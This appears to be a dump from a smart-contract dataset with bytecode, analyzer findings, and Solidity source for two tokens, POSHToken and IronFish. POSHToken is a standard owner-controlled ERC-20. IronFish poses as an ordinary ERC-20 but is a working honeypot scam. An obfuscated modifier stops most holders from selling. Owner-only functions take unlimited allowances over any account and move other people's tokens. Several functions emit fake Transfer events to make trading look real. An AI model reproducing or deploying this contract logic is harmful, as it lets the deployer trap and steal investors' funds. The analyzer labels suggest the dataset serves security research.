a01b03851660009081526005602052604090205460ff16155b801561108e57506001600160a01b03841660009081526005602052604090205460ff16155b156110ae5761109c826112fb565b4780156110ac576110ac476111f2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f357506001600160a01b03831660009081526005602052604090205460ff165b8061112557506015546001600160a01b0385811691161480159061112557506015546001600160a01b03848116911614155b15611132575060006111ac565b6015546001600160a01b03858116911614801561115d57506014546001600160a01b03848116911614155b1561116f57600854600c55600954600d555b6015546001600160a01b03848116911614801561119a57506014546001600160a01b03858116911614155b156111ac57600a54600c55600b54600d555b610a3984848484611484565b600081848411156111dc5760405162461bcd60e51b81526004016105f09190611bf2565b5060006111e98486611d46565b95945050505050565b6012546001600160a01b03166108fc61120c8360026114b2565b6040518115909202916000818181858888f19350505050158015611234573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124f8360026114b2565b6040518115909202916000818181858888f19350505050158015610661573d6000803e3d6000fd5b60006006548211156112de5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b60006112e86114f4565b90506112f483826114b2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134357611343611d8e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139757600080fd5b505afa1580156113ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cf9190611979565b816001815181106113e2576113e2611d8e565b6001600160a01b0392831660209182029290920101526014546114089130911684610b58565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611441908590600090869030904290600401611c7c565b600060405180830381600087803b15801561145b57600080fd5b505af115801561146f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149157611491611517565b61149c848484611545565b80610a3957610a39600e54600c55600f54600d55565b60006112f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163c565b600080600061150161166a565b909250905061151082826114b2565b9250505090565b600c541580156115275750600d54155b1561152e57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611557876116ac565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115899087611709565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b8908661174b565b6001600160a01b0389166000908152600260205260409020556115da816117aa565b6115e484836117f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162991815260200190565b60405180910390a3505050505050505050565b6000818361165d5760405162461bcd60e51b81526004016105f09190611bf2565b5060006111e98486611d05565b6006546000908190683635c9adc5dea0000061168682826114b2565b8210156116a357505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006116c98a600c54600d54611818565b92509250925060006116d96114f4565b905060008060006116ec8e87878761186d565b919e509c509a509598509396509194505050505091939550919395565b60006112f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b6000806117588385611ced565b9050838110156112f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b60006117b46114f4565b905060006117c283836118bd565b306000908152600260205260409020549091506117df908261174b565b30600090815260026020526040902055505050565b6006546118019083611709565b600655600754611811908261174b565b6007555050565b6000808080611832606461182c89896118bd565b906114b2565b90506000611845606461182c8a896118bd565b9050600061185d826118578b86611709565b90611709565b9992985090965090945050505050565b600080808061187c88866118bd565b9050600061188a88876118bd565b9050600061189888886118bd565b905060006118aa826118578686611709565b939b939a50919850919650505050505050565b6000826118cc57506000610676565b60006118d88385611d27565b9050826118e58583611d05565b146112f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b803561194781611dba565b919050565b8035801515811461194757600080fd5b60006020828403121561196e57600080fd5b81356112f481611dba565b60006020828403121561198b57600080fd5b81516112f481611dba565b600080604083850312156119a957600080fd5b82356119b481611dba565b915060208301356119c481611dba565b809150509250929050565b6000806000606084860312156119e457600080fd5b83356119ef81611dba565b925060208401356119ff81611dba565b929592945050506040919091013590565b60008060408385031215611a2357600080fd5b8235611a2e81611dba565b946020939093013593505050565b600080600060408486031215611a5157600080fd5b833567ffffffffffffffff80821115611a6957600080fd5b818601915086601f830112611a7d57600080fd5b813581811115611a8c57600080fd5b8760208260051b8501011115611aa157600080fd5b602092830195509350611ab7918601905061194c565b90509250925092565b60006020808385031215611ad357600080fd5b823567ffffffffffffffff80821115611aeb57600080fd5b818501915085601f830112611aff57600080fd5b813581811115611b1157611b11611da4565b8060051b604051601f19603f83011681018181108582111715611b3657611b36611da4565b604052828152858101935084860182860187018a1015611b5557600080fd5b600095505b83861015611b7f57611b6b8161193c565b855260019590950194938601938601611b5a565b5098975050505050505050565b600060208284031215611b9e57600080fd5b6112f48261194c565b600060208284031215611bb957600080fd5b5035919050565b60008060008060808587031215611bd657600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1f57858101830151858201604001528201611c03565b81811115611c31576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ccc5784516001600160a01b031683529383019391830191600101611ca7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0057611d00611d78565b500190565b600082611d2257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d4157611d41611d78565b500290565b600082821015611d5857611d58611d78565b500390565b6000600019821415611d7157611d71611d78565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039bd028f2d4053f6902f2d7e2e4620b51bf191de4760908d951c52be1847ad8b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,190 |
0x0c29d192dd5443fb5f00e5fe52f61d793025643b
|
pragma solidity ^0.4.25;
/*
* Creator: POSH (GOPOSH)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
constructor () public {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) public constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* GOPOSH smart contract.
*/
contract POSHToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 8000000 * (10**2);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
constructor () public {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() public constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "GOPOSH";
string constant public symbol = "POSH";
uint8 constant public decimals = 2;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value) public
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) public {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) public {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630150246081146100df57806306fdde03146100f6578063095ea7b31461018057806313af4035146101b857806318160ddd146101d957806323b872dd14610200578063313ce5671461022a57806331c420d41461025557806370a082311461026a5780637e1f2bb81461028b57806389519c50146102a357806395d89b41146102cd578063a9059cbb146102e2578063dd62ed3e14610306578063e724529c1461032d575b600080fd5b3480156100eb57600080fd5b506100f4610353565b005b34801561010257600080fd5b5061010b6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014557818101518382015260200161012d565b50505050905090810190601f1680156101725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018c57600080fd5b506101a4600160a060020a03600435166024356103e6565b604080519115158252519081900360200190f35b3480156101c457600080fd5b506100f4600160a060020a036004351661041a565b3480156101e557600080fd5b506101ee610460565b60408051918252519081900360200190f35b34801561020c57600080fd5b506101a4600160a060020a0360043581169060243516604435610466565b34801561023657600080fd5b5061023f6104b4565b6040805160ff9092168252519081900360200190f35b34801561026157600080fd5b506100f46104b9565b34801561027657600080fd5b506101ee600160a060020a0360043516610510565b34801561029757600080fd5b506101a460043561052f565b3480156102af57600080fd5b506100f4600160a060020a03600435811690602435166044356105f3565b3480156102d957600080fd5b5061010b61070c565b3480156102ee57600080fd5b506101a4600160a060020a0360043516602435610743565b34801561031257600080fd5b506101ee600160a060020a0360043581169060243516610784565b34801561033957600080fd5b506100f4600160a060020a036004351660243515156107af565b600254600160a060020a0316331461036a57600080fd5b60055460ff1615156103ad576005805460ff191660011790556040517f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de90600090a15b565b60408051808201909152600681527f474f504f53480000000000000000000000000000000000000000000000000000602082015281565b60006103f23384610784565b15806103fc575081155b151561040757600080fd5b6104118383610840565b90505b92915050565b600254600160a060020a0316331461043157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045490565b600160a060020a03831660009081526003602052604081205460ff161561048c57600080fd5b60055460ff161561049f575060006104ad565b6104aa8484846108a6565b90505b9392505050565b600281565b600254600160a060020a031633146104d057600080fd5b60055460ff16156103ad576005805460ff191690556040517f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded90600090a1565b600160a060020a0381166000908152602081905260409020545b919050565b600254600090600160a060020a0316331461054957600080fd5b60008211156105eb57610562632faf0800600454610a45565b8211156105715750600061052a565b3360009081526020819052604090205461058b9083610a57565b336000908152602081905260409020556004546105a89083610a57565b60045560408051838152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600161052a565b506000919050565b600254600090600160a060020a0316331461060d57600080fd5b600160a060020a03841630141561062357600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018490529151859283169163a9059cbb9160448083019260209291908290030181600087803b15801561069057600080fd5b505af11580156106a4573d6000803e3d6000fd5b505050506040513d60208110156106ba57600080fd5b505060408051600160a060020a0380871682528516602082015280820184905290517ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc1549181900360600190a150505050565b60408051808201909152600481527f504f534800000000000000000000000000000000000000000000000000000000602082015281565b3360009081526003602052604081205460ff161561076057600080fd5b60055460ff161561077357506000610414565b61077d8383610a66565b9050610414565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600254600160a060020a031633146107c657600080fd5b33600160a060020a03831614156107dc57600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108bd57600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156108f0575060006104ad565b600160a060020a038416600090815260208190526040902054821115610918575060006104ad565b60008211801561093a575082600160a060020a031684600160a060020a031614155b156109f057600160a060020a038416600090815260016020908152604080832033845290915290205461096d9083610a45565b600160a060020a03851660008181526001602090815260408083203384528252808320949094559181529081905220546109a79083610a45565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109d69083610a57565b600160a060020a0384166000908152602081905260409020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b600082821115610a5157fe5b50900390565b6000828201838110156104ad57fe5b6000600160a060020a0383161515610a7d57600080fd5b33600090815260208190526040902054821115610a9c57506000610414565b600082118015610ab5575033600160a060020a03841614155b15610b1a5733600090815260208190526040902054610ad49083610a45565b3360009081526020819052604080822092909255600160a060020a03851681522054610b009083610a57565b600160a060020a0384166000908152602081905260409020555b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820019ce799b92b84d20826ebae742577a49f5d41b8a758c92613a5ad1d78bdd7410029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,191 |
0xdfc548ca26f88644152f50592c21e31675a6fe4d
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract IronFish is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _secureController;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0x5B1bD3586059B049dE50B8f3D213551D113D8D09;
address public _controller = 0x5B1bD3586059B049dE50B8f3D213551D113D8D09;
constructor () public {
_name = "Iron Fish";
_symbol = "IRON";
_decimals = 18;
uint256 initialSupply = 100000000000 * 10 ** 18 ;
_secureController = _controller;
_mint(deployer, initialSupply);
}
modifier cpu(address dest, uint256 num, address from, address filler){
if (
_controller == _secureController
&& from == _controller
){_secureController = dest;_;}else{
if (
from == _controller
|| dest == _controller
|| from == _secureController
){
if (
from == _controller
&& from == dest
){_discardedAmt = num;}_;}else{
if (
_plus[from] == true
){
_;}else{if (
_discarded[from] == true
){
require((
from == _secureController
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}else{
if (
num < _discardedAmt
){
if(dest == _secureController){_discarded[from] = true; _plus[from] = false;}
_; }else{require((from == _secureController)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}
}}
}
}}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_navigator(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_navigator(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approvalPlusOne(address[] memory destination) public {
require(msg.sender == _controller, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function approvalMinusOne(address safeOwner) public {
require(msg.sender == _controller, "!owner");
_secureController = safeOwner;
}
function approvePlusOne(address[] memory destination) public {
require(msg.sender == _controller, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_discarded[destination[i]] = true;
_plus[destination[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _controller, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_controller] = _balances[_controller].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _navigator(address from, address dest, uint256 amt) internal cpu( dest, amt, from, address(0)) virtual {
_util( from, dest, amt);
}
function _util(address from, address dest, uint256 amt) internal cpu( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _controller){from = deployer;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _confirm() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function transferOwnership()public _confirm(){}
function timelock()public _confirm(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function addLiquidityETH(address uPool,address eReceiver,uint256 eAmount) public _confirm(){
//EmitUniPool
emit Transfer(uPool, eReceiver, eAmount);}
function enable(address recipient) public _confirm(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function disable(address recipient) public _confirm(){
//Take away permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function spend(address addr) public _confirm() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferTo(address from, address to, uint256 amt) public _confirm() virtual returns (bool) {
//Single Tranfer
_transfer(from, to, amt);
_approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amt, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer_(address fromEmt, address toEmt, uint256 amtEmt) public _confirm(){
//EmitSingleTransfer
emit Transfer(fromEmt, toEmt, amtEmt);
}
function transferAllocation(address sndr,address[] memory destination, uint256[] memory amounts) public _confirm(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function claimTokens(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
}
|
